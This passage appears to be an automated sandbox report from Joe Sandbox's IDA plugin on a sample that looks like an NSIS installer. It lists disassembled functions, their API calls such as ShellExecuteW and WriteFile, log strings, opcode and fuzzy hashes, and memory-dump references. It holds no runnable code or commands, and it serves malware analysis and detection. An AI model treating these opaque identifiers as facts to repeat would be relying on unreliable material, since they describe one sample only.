Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
String ID:
API String ID: 2740478559-0
Opcode ID: 7bcaf298b14bfcb271399e4538be81cf37b8538d1c197863d88476df1de4366a
Instruction ID: 1d640e6b4f0869ec625b39ce8112f9bd6789598538fb42bade37fe3884716a8e
Opcode Fuzzy Hash: 7bcaf298b14bfcb271399e4538be81cf37b8538d1c197863d88476df1de4366a
Instruction Fuzzy Hash: 3C21B0B1900518BACF119FA5DD84E9EBFB5EF84310F10813AFA04BA291D7798E509F98

Function 00401EB9 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GlobalFree.KERNELBASE(00617D50), ref: 00402387

Strings

Pop: stack empty, xrefs: 00401F2C
Exch: stack < %d elements, xrefs: 00401ED8
BasicsCommunication, xrefs: 00401EFB, 00401F00, 00401F1A
P}a, xrefs: 00401EBC, 00401F06, 00401F15, 00401F48, 00401F6E, 00401F75

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: FreeGloballstrcpyn
String ID: BasicsCommunication$Exch: stack < %d elements$Pop: stack empty$P}a
API String ID: 1459762280-2131738396
Opcode ID: 1ca185eeaafbead47595a1cc0f367f8cfd746e673960b0814e4cdcb04772ee17
Instruction ID: ae7cb1f2c63b60d7baa415153617f8c61fd22799b34192a347ea6a0a5f6d971a
Opcode Fuzzy Hash: 1ca185eeaafbead47595a1cc0f367f8cfd746e673960b0814e4cdcb04772ee17
Instruction Fuzzy Hash: 4721D172601105EBE710EB95DD81A6F77A8EF44318B21003FF542F32D1EB7998118AAD

Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
VerQueryValueW.VERSION(?,00408838,?,?,?,?,?,00000000), ref: 00402360

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

GlobalFree.KERNELBASE(00617D50), ref: 00402387

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
String ID:
API String ID: 3376005127-0
Opcode ID: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
Instruction ID: 606d2f288e59f9406d2e88b5b0598c54d729d8d595f649ff0f3e4a994beab86c
Opcode Fuzzy Hash: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
Instruction Fuzzy Hash: 82115E72900109AFCF00EFA1DD45DAE7BB8EF04344F10403AFA09F61A1D7799A40DB19

Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54
memoryfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
WideCharToMultiByte.KERNEL32(?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
lstrlenA.KERNEL32(?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B85

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
String ID:
API String ID: 2568930968-0
Opcode ID: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
Instruction ID: 5d007b3c2ae3d1ce6b2586a1921c4ad46276280cee2e515d5d1d957ff8a092fa
Opcode Fuzzy Hash: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
Instruction Fuzzy Hash: 76016171500205FBDB14AF70DE48D9E3B78EF05359F10443AF646B91E1D6798982DB68

Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C

Strings

<RM>, xrefs: 00402713
BasicsCommunication, xrefs: 00402770
WriteINIStr: wrote [%s] %s=%s in %s, xrefs: 00402775

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: PrivateProfileStringWritelstrcpyn
String ID: <RM>$BasicsCommunication$WriteINIStr: wrote [%s] %s=%s in %s
API String ID: 247603264-1988542485
Opcode ID: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction ID: 1675f45263e21dacb3bd3d3c28f4c469aa899418fcec56767b4290250f933745
Opcode Fuzzy Hash: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction Fuzzy Hash: 05014F70D40319BADB10BFA18D859AF7A78AF09304F10403FF11A761E3D7B80A408BAD

Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004CB0B0,?), ref: 00402202

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211
ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
API String ID: 3156913733-2180253247
Opcode ID: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
Instruction ID: bbc106df3db47d5a89d2587a4e22f40687ed87c50c6518a2742e337a88eb4af1
Opcode Fuzzy Hash: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
Instruction Fuzzy Hash: E001F7B2B4021476DB2077B69C87F6B2A5CDB41764B20047BF502F20E3E5BD88009139

Function 00405E7F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405E9D
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,004037FE,004D30C0,004D70C8), ref: 00405EB8

Strings

nsa, xrefs: 00405E8C

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction ID: bbb7b3741c82bae03d84fc31e008e00914f4f4b6280f54d22115683b6c602e07
Opcode Fuzzy Hash: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction Fuzzy Hash: 39F0F635600604BBDB00CF55DD05A9FBBBDEF90310F00803BE944E7140E6B09E00C798

Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 0040219F

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

EnableWindow.USER32(00000000,00000000), ref: 004021AA

Strings

HideWindow, xrefs: 0040218D

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: Window$EnableShowlstrlenwvsprintf
String ID: HideWindow
API String ID: 1249568736-780306582
Opcode ID: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
Instruction ID: bfe0de145d0e58e27592ef60cc9cda220d4f3e6bacb950e19a0f62fa040dbd34
Opcode Fuzzy Hash: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
Instruction Fuzzy Hash: F1E09232A05111DBCB08FBB5A74A5AE76B4EA9532A721007FE143F20D0DABD8D01C62D

Function 004078C5 Relevance: 5.2, APIs: 4, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction ID: 5b61ba0e549d4a34e11b5feda41afe9ae6537485a044c30e59ebd23bda5797f4
Opcode Fuzzy Hash: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction Fuzzy Hash: BCA14771908248DBEF18CF28C8946AD3BB1FB44359F14812AFC56AB280D738E985DF85

Function 00407AC3 Relevance: 5.2, APIs: 4, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction ID: 0868455ade8710e2db62ea7c97591ecaf8a07f5330254cde648c5a00cf1b77b0
Opcode Fuzzy Hash: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction Fuzzy Hash: 30912871908248DBEF14CF18C8947A93BB1FF44359F14812AFC5AAB291D738E985DF89

Function 00407312 Relevance: 5.2, APIs: 4, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction ID: 3981f1dd08afc316d24d9ed5113be2a17ca7da729ed8f25fba603efd3ef4d826
Opcode Fuzzy Hash: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction Fuzzy Hash: 39815931908248DBEF14CF29C8446AE3BB1FF44355F10812AFC66AB291D778E985DF86

Function 00407752 Relevance: 5.2, APIs: 4, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction ID: 01891581271c5a124b16634c3a8992e7a6857e255b4271240234ec945a90a24d
Opcode Fuzzy Hash: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction Fuzzy Hash: 73713571908248DBEF18CF28C894AAD3BF1FB44355F14812AFC56AB291D738E985DF85

Function 00407854 Relevance: 5.2, APIs: 4, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction ID: 94e3b44a92ae0aa4503ed5f8848dd13d39bc4d5c5e61625994f203468061122b
Opcode Fuzzy Hash: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction Fuzzy Hash: 25713671908248DBEF18CF19C894BA93BF1FB44345F10812AFC56AA291C738E985DF86

Function 004077B2 Relevance: 5.2, APIs: 4, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction ID: 61f7b93237898aea062553d5d4b8719da8ac7eccb5076a10c91df3859b53dd49
Opcode Fuzzy Hash: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction Fuzzy Hash: 98612771908248DBEF18CF19C894BAD3BF1FB44345F14812AFC56AA291C738E985DF86

Function 00407C5F Relevance: 5.2, APIs: 4, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNELBASE(?), ref: 004073C5
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 004073CE
GlobalFree.KERNELBASE(?), ref: 0040743D
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 00407448

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: Global$AllocFree
String ID:
API String ID: 3394109436-0
Opcode ID: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction ID: da36524f31269fd1e9de8fc6705d7123eeae9c681c0d19372ba3dadca10d6d3f
Opcode Fuzzy Hash: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction Fuzzy Hash: 81513871918248EBEF18CF19C894AAD3BF1FF44345F10812AFC56AA291C738E985DF85

Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction ID: d71d45502f518029c3ce7990b7c8d381ac94a1bb539c673c2af025244294d997
Opcode Fuzzy Hash: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction Fuzzy Hash: 96F0F471A10220DFD7555B74DD04B273699AB80361F24463BF911F62F1E6B8DC528B4E

Function 00405E50 Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction ID: fe2e31f24f36ecb58ba6038de6e4569557e5a61990f2f31681ab57118d472e11
Opcode Fuzzy Hash: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction Fuzzy Hash: BCD09E71554202EFEF098F60DE1AF6EBBA2FB94B00F11852CB292550F0DAB25819DB15

Function 00405E30 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00406E81,?,?,?), ref: 00405E34
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E47

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

